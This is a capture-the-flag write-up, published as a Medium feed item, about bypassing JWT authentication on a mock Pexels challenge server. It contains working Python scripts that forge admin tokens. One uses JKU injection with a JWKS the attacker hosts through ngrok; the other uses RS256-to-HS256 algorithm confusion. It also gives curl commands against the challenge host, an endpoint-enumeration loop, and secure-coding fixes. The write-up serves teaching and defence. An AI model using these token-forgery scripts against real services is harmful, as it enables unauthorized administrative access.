<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Riyan-ur-Rehman on Medium]]></title>
        <description><![CDATA[Stories by Riyan-ur-Rehman on Medium]]></description>
        <link>https://medium.com/@riyanurrrehman?source=rss-8eed1746138f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*mOk2K3oGredu7UCH</url>
            <title>Stories by Riyan-ur-Rehman on Medium</title>
            <link>https://medium.com/@riyanurrrehman?source=rss-8eed1746138f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 23:27:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@riyanurrrehman/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PCC 2025 Qualifiers — Pexels JWT Challenge Write-Up]]></title>
            <link>https://medium.com/@riyanurrrehman/pcc-2025-qulifiers-jwt-security-challenge-exploiting-pexels-authentication-b637d8ba9b3d?source=rss-8eed1746138f------2</link>
            <guid isPermaLink="false">https://medium.com/p/b637d8ba9b3d</guid>
            <dc:creator><![CDATA[Riyan-ur-Rehman]]></dc:creator>
            <pubDate>Fri, 24 Oct 2025 13:18:22 GMT</pubDate>
            <atom:updated>2026-06-06T14:34:18.633Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Author:</strong> Riyan-ur-Rehman (g0kbur0) <strong>Category:</strong> Web Security / Cryptography <strong>Difficulty:</strong> Medium–Hard <strong>Key Concepts:</strong> JWT, JKU Injection, Algorithm Confusion, NGROK Tunneling</p><h3>Table of Contents</h3><ol><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#introduction">Introduction</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#understanding-the-challenge">Understanding the Challenge</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#initial-reconnaissance">Initial Reconnaissance</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#what-is-jku-and-why-is-it-dangerous">What is JKU and Why is it Dangerous?</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#attack-1--jku-injection-failed-attempt">Attack #1 — JKU Injection (Failed Attempt)</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#the-breakthrough--discovering-the-servers-own-jwks">The Breakthrough — Discovering the Server’s Own JWKS</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#attack-2--algorithm-confusion-the-winning-move">Attack #2 — Algorithm Confusion (The Winning Move)</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#why-the-authentication-failed">Why the Authentication Failed</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#secure-coding-takeaways">Secure Coding Takeaways</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#enumeration-tips-for-future-challenges">Enumeration Tips for Future Challenges</a></li><li><a href="https://claude.ai/chat/b8f8cdf3-051d-4d6c-990a-a18548e57259#tools--resources">Tools &amp; Resources</a></li></ol><h3>Introduction</h3><p>This write-up walks through my solution to the <strong>Pexels JWT Authentication Challenge</strong> from PCC 2025 Qualifiers. The challenge demonstrates two powerful real-world attack techniques against JWT (JSON Web Token) implementations:</p><ul><li><strong>JKU (JSON Web Key Set URL) Injection</strong></li><li><strong>Algorithm Confusion</strong></li></ul><p>Both attacks can lead to complete authentication bypass. I’ll explain each concept from the ground up, so this write-up is useful even if you’re new to JWT security.</p><h3>Understanding the Challenge</h3><p>The challenge was hosted at http://c1.arena.airoverflow.com:&lt;PORT&gt; and presented a mock Pexels (stock photo service) authentication system. Two endpoints mattered:</p><p>Endpoint Purpose POST /api/login Issues JWT tokens for authenticated users GET /api/admin Returns the flag — requires admin privileges</p><p>The goal was to escalate from a regular user to admin access.</p><h3>Initial Reconnaissance</h3><p>The first step was understanding how authentication worked.</p><pre>curl -X POST http://c1.arena.airoverflow.com:33030/api/login \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;username&quot;:&quot;user&quot;,&quot;password&quot;:&quot;password&quot;}&#39;</pre><p>This returned a JWT token. Pasting it into <a href="https://jwt.io/">jwt.io</a> revealed the decoded header:</p><pre>{<br>  &quot;alg&quot;: &quot;RS256&quot;,<br>  &quot;jku&quot;: &quot;https://pexels.local/.well-known/jwks.json&quot;,<br>  &quot;kid&quot;: &quot;pexels-rsa-key-2024&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p><strong>Key observations:</strong></p><ul><li><strong>Algorithm:</strong> RS256 — RSA signature with SHA-256 (asymmetric cryptography)</li><li><strong>jku header present</strong> — Points to pexels.local to fetch the public key. This is our primary attack vector.</li><li><strong>kid:</strong> pexels-rsa-key-2024 — A key identifier that tells the server which key to use for verification.</li><li><strong>Domain:</strong> pexels.local is a local/private domain, meaning external URL substitution might work.</li></ul><h3>What is JKU and Why is it Dangerous?</h3><p>The jku (JSON Web Key Set URL) header tells the JWT validator <strong>where to fetch public keys</strong> for signature verification. Think of it like telling a bouncer where to look up your ID.</p><p><strong>The vulnerability:</strong> If the server blindly trusts whatever URL is in the jku header, an attacker can:</p><ol><li>Generate their own RSA key pair.</li><li>Host a fake JWKS containing their public key.</li><li>Sign a malicious JWT with their private key.</li><li>Set jku to point to their controlled server.</li><li>The server fetches the attacker’s public key and validates the malicious token. ✅</li></ol><p>It’s equivalent to printing your own ID and directing the bouncer to your own verification booth.</p><h3>Attack #1 — JKU Injection (Failed Attempt)</h3><h3>Step 1: Generate an RSA Key Pair and Build a Fake JWKS</h3><pre># exploit_pexels_jwt.py<br>import base64, json<br>from cryptography.hazmat.primitives import serialization<br>from cryptography.hazmat.primitives.asymmetric import rsa<br>from cryptography.hazmat.backends import default_backend<br>import jwt<br>from datetime import datetime, timedelta, timezone</pre><pre>print(&quot;[*] Generating RSA key pair...&quot;)<br>private_key = rsa.generate_private_key(65537, 2048, default_backend())</pre><pre>private_pem = private_key.private_bytes(<br>    serialization.Encoding.PEM,<br>    serialization.PrivateFormat.PKCS8,<br>    serialization.NoEncryption()<br>).decode()</pre><pre>public_key = private_key.public_key()<br>public_numbers = public_key.public_numbers()</pre><pre># Convert RSA components to Base64URL format (required by JWKS standard)<br>n = base64.urlsafe_b64encode(<br>    public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, &#39;big&#39;)<br>).decode().rstrip(&#39;=&#39;)</pre><pre>e = base64.urlsafe_b64encode(<br>    public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, &#39;big&#39;)<br>).decode().rstrip(&#39;=&#39;)</pre><pre># Build JWKS matching the server&#39;s expected format<br>jwks = {<br>    &quot;keys&quot;: [{<br>        &quot;kty&quot;: &quot;RSA&quot;,<br>        &quot;use&quot;: &quot;sig&quot;,<br>        &quot;kid&quot;: &quot;pexels-rsa-key-2024&quot;,  # Must match the original kid exactly<br>        &quot;alg&quot;: &quot;RS256&quot;,<br>        &quot;n&quot;: n,<br>        &quot;e&quot;: e<br>    }]<br>}</pre><pre>with open(&#39;jwks.json&#39;, &#39;w&#39;) as f:<br>    json.dump(jwks, f, indent=2)</pre><pre>print(f&quot;[+] JWKS saved with kid=pexels-rsa-key-2024&quot;)</pre><pre># Forge an admin JWT<br>payload = {<br>    &quot;username&quot;: &quot;admin&quot;,<br>    &quot;role&quot;: &quot;admin&quot;,<br>    &quot;exp&quot;: int((datetime.now(tz=timezone.utc) + timedelta(hours=24)).timestamp())<br>}</pre><pre>token = jwt.encode(<br>    payload,<br>    private_pem,<br>    algorithm=&#39;RS256&#39;,<br>    headers={<br>        &#39;kid&#39;: &#39;pexels-rsa-key-2024&#39;,<br>        &#39;jku&#39;: &#39;https://YOUR_NGROK_URL/jwks.json&#39;,  # Point to our server<br>        &#39;alg&#39;: &#39;RS256&#39;,<br>        &#39;typ&#39;: &#39;JWT&#39;<br>    }<br>)<br>print(token)</pre><p><strong>What this does:</strong></p><ol><li>Generates a 2048-bit RSA key pair.</li><li>Extracts the public key components (n and e) in Base64URL format.</li><li>Creates a JWKS that matches the server’s expected structure, using the exact kid.</li><li>Signs a JWT claiming username: admin and role: admin with our private key.</li><li>Points jku to our controlled server.</li></ol><h3>Step 2: Expose the JWKS Publicly with NGROK</h3><p>The server needs to be able to reach our JWKS file from the internet. NGROK creates a public tunnel to our local machine.</p><pre># Start serving the JWKS file<br>python3 -m http.server 8003 &amp;</pre><pre># Create a public tunnel<br>ngrok http 8003</pre><p>NGROK gives you a URL like https://kristy-unvitiating-unopprobriously.ngrok-free.app. Update your script with this URL, then run it.</p><h3>Step 3: Test the Attack</h3><pre>python3 exploit_pexels_jwt.py &gt; token.txt</pre><pre># Verify our JWKS is reachable<br>curl <a href="https://kristy-unvitiating-unopprobriously.ngrok-free.app/jwks.json">https://kristy-unvitiating-unopprobriously.ngrok-free.app/jwks.json</a></pre><pre># Test against the admin endpoint<br>curl -H &quot;Authorization: Bearer $(cat token.txt)&quot; \<br>  <a href="http://c1.arena.airoverflow.com:33030/api/admin">http://c1.arena.airoverflow.com:33030/api/admin</a></pre><p><strong>Result:</strong> {&quot;detail&quot;:&quot;Invalid or expired token&quot;} ❌</p><h3>Why Did It Fail?</h3><p>Checking the NGROK dashboard (http://localhost:4040) showed that the server <em>was</em> fetching our JWKS — requests were coming in from IP 206.84.142.11. But the token was still rejected.</p><p><strong>The problem:</strong> Our script generated <em>new</em> RSA keys every time it ran.</p><ol><li>Run 1: Keys generated → JWKS uploaded → Server fetched and cached JWKS ✅</li><li>Run 2: <em>Different</em> keys generated → New token signed with new private key → Signature doesn’t match the cached JWKS anymore ❌</li></ol><p><strong>Lesson:</strong> Generate the RSA key pair <em>once</em>, save the files, and reuse them for all token generation. Never regenerate keys between runs.</p><p>Even with this fix, the JKU injection faced other obstacles, which led me to a different and more effective approach.</p><h3>The Breakthrough — Discovering the Server’s Own JWKS</h3><p>After the failed JKU injection attempts, I started enumerating standard JWT/OIDC discovery endpoints on the server itself:</p><pre>curl http://c1.arena.airoverflow.com:33030/.well-known/jwks.json</pre><p><strong>Jackpot!</strong> 🎉 The server responded with its own public key:</p><pre>{<br>  &quot;keys&quot;: [{<br>    &quot;kty&quot;: &quot;RSA&quot;,<br>    &quot;use&quot;: &quot;sig&quot;,<br>    &quot;kid&quot;: &quot;pexels-rsa-key-2024&quot;,<br>    &quot;alg&quot;: &quot;RS256&quot;,<br>    &quot;n&quot;: &quot;npqiQ8i25a7pwY3GnR9Q6DUR7eeJpbvxzjK7acihGVblwAXN6CEuDarOmRCfmIRUsxCjY1CNhcNgrdzjmLsfWtyHM5LA5TsgGwXRYV0fz1EIKd8XafS_aSSS1Dj0hv3JcdQ4G8ELxbfMsb6hG_d5RtpbaPO-sZ0_EwYeFxEAgPxCqE5RIc6FtzoqzVkLumYFbzCHAP48jGCZIHvG9qTO8ed_nS-TDBcTyz9GTmNAdhRFqPjjvlQIuGZHIu3oBfIvkgafQ8smKhEY4WGvkD5x_0dITBshEiKJ1qMcdtYEisQMVK3TCtfV2xaPUzg42Ib9olJYOX88JR2yKyXJR2LD1Q&quot;,<br>    &quot;e&quot;: &quot;AQAB&quot;<br>  }]<br>}</pre><p>This is standard and expected in OAuth/OIDC systems — public keys are meant to be public. However, this becomes catastrophically dangerous when combined with algorithm confusion.</p><h3>Attack #2 — Algorithm Confusion (The Winning Move)</h3><h3>Understanding Algorithm Confusion</h3><p>JWT supports multiple signature algorithms:</p><p>Algorithm Type How it works RS256 Asymmetric Private key signs, public key verifies HS256 Symmetric The <em>same</em> secret is used to sign and verify</p><p><strong>The critical vulnerability:</strong> If the server accepts both RS256 and HS256 without strictly separating the keys used for each, an attacker can:</p><ol><li>Obtain the server’s <strong>public key</strong> (freely available from /.well-known/jwks.json).</li><li>Forge a JWT with alg: HS256 and sign it using the public key as the HMAC secret.</li><li>The vulnerable server fetches its own public key (as it normally does for RS256), then mistakenly uses it as the HMAC secret for HS256 verification — which matches our forged signature. ✅</li></ol><h3>The Exploit</h3><pre># pexels_algorithm_confusion.py<br>import hmac, hashlib, base64, json<br>from datetime import datetime, timedelta, timezone<br>from cryptography.hazmat.primitives import serialization<br>from cryptography.hazmat.primitives.asymmetric import rsa<br>from cryptography.hazmat.backends import default_backend</pre><pre>print(&quot;[*] Pexels Algorithm Confusion Attack&quot;)<br>print(&quot;[*] Signing with HS256 using the server&#39;s RS256 public key...\n&quot;)</pre><pre># Server&#39;s public key components (from /.well-known/jwks.json)<br>PEXELS_PUBLIC_KEY_N = &#39;npqiQ8i25a7pwY3GnR9Q6DUR7eeJpbvxzjK7acihGVblwAXN6CEuDarOmRCfmIRUsxCjY1CNhcNgrdzjmLsfWtyHM5LA5TsgGwXRYV0fz1EIKd8XafS_aSSS1Dj0hv3JcdQ4G8ELxbfMsb6hG_d5RtpbaPO-sZ0_EwYeFxEAgPxCqE5RIc6FtzoqzVkLumYFbzCHAP48jGCZIHvG9qTO8ed_nS-TDBcTyz9GTmNAdhRFqPjjvlQIuGZHIu3oBfIvkgafQ8smKhEY4WGvkD5x_0dITBshEiKJ1qMcdtYEisQMVK3TCtfV2xaPUzg42Ib9olJYOX88JR2yKyXJR2LD1Q&#39;<br>PEXELS_PUBLIC_KEY_E = &#39;AQAB&#39;</pre><pre># Decode Base64URL to reconstruct the RSA public key<br>n_bytes = base64.urlsafe_b64decode(PEXELS_PUBLIC_KEY_N + &#39;==&#39;)<br>e_bytes = base64.urlsafe_b64decode(PEXELS_PUBLIC_KEY_E + &#39;==&#39;)</pre><pre>numbers = rsa.RSAPublicNumbers(<br>    int.from_bytes(e_bytes, &#39;big&#39;),<br>    int.from_bytes(n_bytes, &#39;big&#39;)<br>)<br>public_key = numbers.public_key(default_backend())</pre><pre># Export as PEM — this is what servers typically store<br>pem = public_key.public_bytes(<br>    serialization.Encoding.PEM,<br>    serialization.PublicFormat.SubjectPublicKeyInfo<br>).decode()</pre><pre>print(&quot;[+] Public key reconstructed:&quot;)<br>print(pem)</pre><pre># Forge the JWT header — algorithm switched to HS256!<br>header = {<br>    &quot;alg&quot;: &quot;HS256&quot;,               # Switched from RS256 to HS256<br>    &quot;typ&quot;: &quot;JWT&quot;,<br>    &quot;kid&quot;: &quot;pexels-rsa-key-2024&quot;  # Keep the same kid so the server fetches the right key<br>}</pre><pre># Admin payload<br>payload = {<br>    &quot;username&quot;: &quot;admin&quot;,<br>    &quot;role&quot;: &quot;admin&quot;,<br>    &quot;exp&quot;: int((datetime.now(tz=timezone.utc) + timedelta(hours=1)).timestamp())<br>}</pre><pre>print(f&quot;\n[*] Payload: {json.dumps(payload, indent=2)}&quot;)</pre><pre>def base64url_encode(data):<br>    if isinstance(data, dict):<br>        data = json.dumps(data, separators=(&#39;,&#39;, &#39;:&#39;)).encode()<br>    return base64.urlsafe_b64encode(data).decode().rstrip(&#39;=&#39;)</pre><pre># Build the unsigned token (header.payload)<br>header_b64 = base64url_encode(header)<br>payload_b64 = base64url_encode(payload)<br>message = f&quot;{header_b64}.{payload_b64}&quot;</pre><pre># Sign with HMAC-SHA256 using the server&#39;s PUBLIC KEY as the HMAC secret<br># This is the core of the attack<br>signature = hmac.new(<br>    pem.encode(),        # Server&#39;s public key used as the HMAC secret<br>    message.encode(),<br>    hashlib.sha256<br>).digest()</pre><pre>signature_b64 = base64.urlsafe_b64encode(signature).decode().rstrip(&#39;=&#39;)</pre><pre>token = f&quot;{message}.{signature_b64}&quot;</pre><pre>print(f&quot;\n[+] Forged HS256 token:&quot;)<br>print(token)</pre><h3>Launching the Attack</h3><pre>python3 pexels_algorithm_confusion.py &gt; hs256_token.txt</pre><pre>curl -v -H &quot;Authorization: Bearer $(cat hs256_token.txt)&quot; \<br>  <a href="http://c1.arena.airoverflow.com:33030/api/admin">http://c1.arena.airoverflow.com:33030/api/admin</a></pre><p><strong>Response:</strong></p><pre>{<br>  &quot;message&quot;: &quot;Welcome to admin panel!&quot;,<br>  &quot;flag&quot;: &quot;PCC{p3x315_i5_b3773r_Brd0XfR2m1y4}&quot;,<br>  &quot;secret&quot;: &quot;You found the flag!&quot;<br>}</pre><p><strong>FLAG CAPTURED!</strong> 🎉</p><h3>Why the Authentication Failed</h3><p>Here’s the full vulnerability chain that made this attack possible:</p><h3>1. Exposed JWKS Endpoint (Standard, but Risky in Context)</h3><p>The server exposed its RSA public key at /.well-known/jwks.json. This is normal OAuth/OIDC practice, but it becomes dangerous when combined with the next flaw.</p><h3>2. No Algorithm Enforcement (Critical Flaw)</h3><p>The server accepted tokens with any algorithm the client specified in the header — including HS256. It should have whitelisted only RS256.</p><h3>3. Algorithm Confusion in the Verification Logic</h3><p>The vulnerable server code likely looked something like this:</p><pre># VULNERABLE implementation<br>def verify_token(token):<br>    header = decode_header(token)<br>    key = jwks.get_key(header[&#39;kid&#39;])  # Fetches the RSA public key</pre><pre>    if header[&#39;alg&#39;] == &#39;RS256&#39;:<br>        return verify_rs256(token, key)<br>    elif header[&#39;alg&#39;] == &#39;HS256&#39;:<br>        return verify_hs256(token, key)  # BUG: Uses the public key as HMAC secret!</pre><p>The developer reused the same key variable for both RS256 and HS256 verification, without realising that for HS256 the &quot;key&quot; is treated as a symmetric secret — not a public key.</p><h3>4. No JKU URL Validation (Secondary Issue)</h3><p>The server accepted any HTTPS URL in the jku header, including our NGROK tunnel. It should have whitelisted trusted domains like pexels.local or api.pexels.com.</p><h3>Secure Coding Takeaways</h3><h3>For Developers</h3><p><strong>1. Strictly whitelist algorithms</strong></p><pre># SECURE: Never trust the algorithm from the token header<br>ALLOWED_ALGORITHMS = [&#39;RS256&#39;]</pre><pre>def verify_jwt(token: str, public_key: str) -&gt; dict:<br>    return jwt.decode(token, public_key, algorithms=ALLOWED_ALGORITHMS)</pre><pre># INSECURE: Never do this<br>header = jwt.get_unverified_header(token)<br>jwt.decode(token, key, algorithms=[header[&#39;alg&#39;]])  # ← attacker controls this!</pre><p><strong>2. Use separate keys for separate algorithms</strong></p><pre># SECURE: Different key material for different algorithms<br>RS256_PUBLIC_KEY = load_rsa_public_key(&#39;rsa_pub.pem&#39;)<br>HS256_SECRET = secrets.token_bytes(32)  # Completely unrelated secret</pre><p><strong>3. Validate JKU URLs against a strict whitelist</strong></p><pre>from urllib.parse import urlparse</pre><pre>ALLOWED_JKU_DOMAINS = [&#39;auth.pexels.com&#39;, &#39;api.pexels.com&#39;]</pre><pre>def validate_jku(url: str) -&gt; bool:<br>    parsed = urlparse(url)<br>    return (<br>        parsed.scheme == &#39;https&#39; and<br>        parsed.netloc in ALLOWED_JKU_DOMAINS and<br>        parsed.path.endswith(&#39;/jwks.json&#39;)<br>    )</pre><p><strong>4. Monitor for suspicious algorithm patterns</strong></p><p>Log and alert when the same IP attempts authentication with multiple different algorithms in a short window — a strong indicator of algorithm confusion probing.</p><h3>Enumeration Tips for Future Challenges</h3><p>Always probe for standard JWT/OIDC discovery endpoints when attacking JWT-based auth:</p><pre>endpoints=(<br>  &quot;/.well-known/jwks.json&quot;<br>  &quot;/.well-known/openid-configuration&quot;<br>  &quot;/jwks.json&quot;<br>  &quot;/api/jwks&quot;<br>  &quot;/.well-known/oauth-authorization-server&quot;<br>)</pre><pre>for ep in &quot;${endpoints[@]}&quot;; do<br>  echo &quot;[*] Trying: $ep&quot;<br>  curl -s &quot;$TARGET$ep&quot; | python3 -m json.tool 2&gt;/dev/null<br>done</pre><p>When you find a public key, always test for algorithm confusion:</p><pre>Original algorithm (RS256/ES256) → Switch to HS256 → Sign with public key as HMAC secret</pre><h3>Tools &amp; Resources</h3><p>Tool Purpose <a href="https://jwt.io/">jwt.io</a> Decode and inspect JWT tokens <a href="https://ngrok.com/">NGROK</a> Expose local server for JKU injection Python cryptography RSA key generation and manipulation Python hmac / hashlib Manual HMAC-SHA256 signing for HS256 PyJWT JWT encoding and decoding curl HTTP request testing</p><p><strong>Install dependencies:</strong></p><pre>pip install cryptography PyJWT requests</pre><p><strong>Useful one-liners:</strong></p><pre># Decode JWT header<br>echo &quot;YOUR.TOKEN.HERE&quot; | cut -d&#39;.&#39; -f1 | base64 -d 2&gt;/dev/null | python3 -m json.tool</pre><pre># Decode JWT payload<br>echo &quot;YOUR.TOKEN.HERE&quot; | cut -d&#39;.&#39; -f2 | base64 -d 2&gt;/dev/null | python3 -m json.tool</pre><pre># Monitor NGROK incoming requests<br>curl -s <a href="http://localhost:4040/api/requests/http">http://localhost:4040/api/requests/http</a> | python3 -m json.tool</pre><h3>Summary</h3><p>Phase Action Outcome Recon Decoded the JWT header Found jku header pointing to pexels.local Attack #1 JKU Injection via NGROK Server fetched our JWKS, but key mismatch caused failure Discovery Enumerated /.well-known/jwks.json Found the server&#39;s own RSA public key Attack #2 Algorithm Confusion (RS256 → HS256) Forged admin token accepted — <strong>flag captured!</strong></p><p>The root cause was accepting the alg header value from untrusted user input and reusing the RSA public key as an HMAC secret. Always enforce algorithm restrictions server-side and never let the client dictate how their own token is verified.</p><p><em>Write-up by Riyan-ur-Rehman (g0kbur0) — PCC 2025 Qualifiers</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b637d8ba9b3d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>